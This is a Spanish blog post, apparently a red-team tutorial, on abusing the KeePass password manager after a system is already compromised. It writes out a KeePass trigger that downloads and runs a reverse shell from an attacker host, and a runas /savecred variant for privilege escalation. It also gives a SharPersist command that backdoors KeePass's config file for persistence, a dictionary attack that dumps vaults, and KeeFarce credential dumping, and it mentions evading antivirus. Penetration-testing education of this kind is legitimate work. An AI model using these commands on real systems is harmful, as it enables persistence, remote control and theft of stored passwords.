Finalmente me he decidido a generar un nuevo post en lugar de ampliar la entrada anterior (Post-Explotación: Aprovechamiento de KeePass Pt.1) donde hablamos brevemente sobre el aprovechamiento de KeePass durante la fase de Post-Explotación. Bien, pues lo que hoy les traigo aquí es la revisión de algunas otras técnicas y herramientas que podríamos adoptar empleando este popular gestor de contraseña. Espesemos…

Método 3 – Aprovechamiento de los Triggers

Los Triggers, también conocidos como disparadores, son funcionalidades adicionales con las que cuenta KeePass y que pueden ser empleadas para ejecutar una serie de acciones programadas del software. Esta funcionalidades especiales pueden ser modeladas por un potencial atacante con acceso al sistema que le interese principalmente mantener cierta persistencia con el objetivo o incluso conseguir que el usuario ejecute algunas acciones no consiente o controladas. A continuación revisaremos algunas posibilidades.

OJO! que antes debo aclarar que esto no se trata de una vulnerabilidad como tal de KeePass, en realidad esta es una funcionalidad oficial del producto, lo único que puede ser aprovechada y ´´abusada´´ en nuestra necesidad durante la fase de Post-Explotación.

Partiremos generando un primer Triggers que nos permita establecer una reverse shell con nuestro equipo de atacante, en este caso emplearemos la reverse shell de Nishang (Invoke-PowerShellTcp.ps1).

powershell #Valor para File/URL
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10:8000/Invoke-PowerShellTcp.ps1') #Valor para Arguments

En este punto hay que explicar un poco como trabaja este apartado de KeePass, básicamente a través de los llamados Triggers conseguimos disparar la ejecución de una determinada acción (en este caso poner en marcha la reverse shell) inmediatamente después de producirse un evento definido (que para este ejemplo se trata de iniciar el programa).

Al mantenernos a la escucha y compartiendo nuestra reverse shell, conseguiremos este acceso gracias a los llamados Triggers.

Ahora bien, veamos una hipótesis fortuita. ¿Qué pasaría si determinados planetas se alinean y nos encontramos con que el Credential Manager de Windows además se encuentra en funcionamiento?

Respuesta: Pues que podríamos hacer de las nuestras con Runas y llegar a escalar privilegios. En este caso nuestro Trigger quedaría definido de la siguiente manera:

runas.exe #Valor para File/URL
/user:LABORATORY\Administrator /savecred "powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10:8000/Invoke-PowerShellTcp.ps1')" #Valor para Arguments

Antes de pasar al siguiente método se debe aclarar que esta reverse shell de Nishang podría ser cazada por el Windows Defender o las soluciones de AV modernas, para evadir estos controles nos tocará trabajar en un binario nuevo/modificado.

Método 4 – Obteniendo persistencia

Mediante una toolkit de la buena gente de Mandiant también podríamos aprovechar una instancia de KeePass, en este caso para conseguir cierto grado de persistencia. Para ello revisaremos la denominada SharPersist.
Pero no nos estaremos alejando demasiado de la técnica anterior, ya que aquí básicamente también ´´backdoorizaremos´´ el fichero de configuración de KeePass mediante un Trigger malintencionado, lo único que tiraremos de un ejecutable que nos dará más automatismo por si nos fuera necesario en algún momento.
Pondremos en marcha SharPersist según comenta la wiki:

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\LowUser\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Una vez ejecutado, revisamos que se generó una copia del fichero de configuración:

El evento que dispara la acción de abrir la calculadora, en este caso es la apertura de una base de datos del usuario.

Por último si revisamos el fichero de configuración observaremos la respectiva <<backdoorización>>.

A partir de aquí imagino que será echarle creatividad y sentido, según sea nuestra necesidad.

Método 5 – Ataque de diccionario vía PoshKPBrute

Otra herramienta que me pareció bastante chula de traeros es PoshKPBrute. No se trata de una solución optimizada, de hecho la fuerza bruta que realiza no es tan rápida (pasarle el rockyou yo entiendo que sería muy salvaje), pero tiene un enfoque distinto para obtener tanto las claves maestras, como el volcado de las base de datos, en este caso lo que la herramienta hace, es ir probando con cada palabra del diccionario definido y en cuanto se hace con la contraseña válida se vuelca el contenido de las bases de datos.

Import-Module .\crack-keepassfile.ps1
crack-keepassfile -binpath "C:\Program Files\KeePass Password Safe 2" -pwdpath "C:\Users\LowUser\Downloads\pwdlist.txt" -targetfile "C:\Users\LowUser\Documents\Database.kdbk."

Se debe tomar en cuenta que en el GitHub las instrucciones de como ejecutar la herramienta, tiene una pequeña errata, el parámetro ´´pwdfile´´ en realidad se trata del parámetro ´´pwdpath´´, ténganlo en cuenta a la hora de ejecutarlo. Esto lo pude averiguar leyendo el código del script.

Método 6 – Volcado de credenciales con KeeFarce

Por último no quiero dejar de lado la mítica explotación de KeePass mediante la herramienta KeeFarce. Con ello conseguiremos volcar a un csv todo el contenido almacenado en la base de datos. Para ponerlo a trabajar, tan solo debemos hacernos con el binario de ejecución desde el GitHub del proyecto:

Después de descomprimir el fichero descargado se pone en marcha de la forma más sencilla posible:

Esto nos generará un fichero csv en el directorio Roaming del perfil del usuario que ha ejecutado el binario.

Por último comentar que yo lo he ejecutado sobre una versión actualizada de KeePass (2.51.1) en un Windows 10, lo digo por actualizar el apartado de «Compatibility» del GitHub del proyecto.

Nos vemos en el siguiente!

Referencias